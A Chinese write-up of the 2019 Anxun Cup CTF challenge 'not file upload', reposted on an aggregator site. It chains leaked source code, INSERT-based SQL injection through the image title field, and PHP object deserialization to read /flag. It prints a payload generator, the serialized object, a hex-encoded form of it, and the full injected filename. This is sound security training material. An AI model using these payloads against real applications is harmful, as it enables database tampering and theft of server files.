[安洵杯 2019]不是文件上传
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[安洵杯 2019]不是文件上传相关的知识,希望对你有一定的参考价值。
考点
信息泄漏、SQL注入、反序列化
思路
在主页的源码下方有一个开发人员留的信息,可知网站的源码已经被上传的github上面了
而网站源码的名称就是网页页脚的wowouploadimage, github搜索这个名称,即可找到源码
SQL注入 => 反序列化 => 读取Flag
在图片上传处,check函数并未对文件名(title)进行检测, 直接传递到最后的SQL语句当中。导致了SQL注入,并且属于Insert注入
审计代码后可知,图片数据在保存的时候,会将图片的高度和宽度进行序列化然后保存。在查看图片信息的页面(show.php)会对其进行反序列化
我们需要通过SQL注入修改保存的信息中的序列化的值来利用
在helper.php中的helper类中有一个__destruct魔术方法可以利用,通过调用view_files中的file_get_contents来读取flag
Payload
反序列化payload生成:
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
payload:
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
这里的属性值ifview和config都是protected类型的,所以需要将payload修改为:
O:6:"helper":2:{s:9:"\\0\\0\\0ifview";b:1;s:9:"\\0\\0\\0config";s:5:"/flag";}
正常上传图片的sql语句为:
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
因为上传的文件名中不能有双引号,所以将payload进行16进制编码:
0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
由于title处是我们能够控制的,所以构造文件名如下:
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
以上是关于[安洵杯 2019]不是文件上传的主要内容,如果未能解决你的问题,请参考以下文章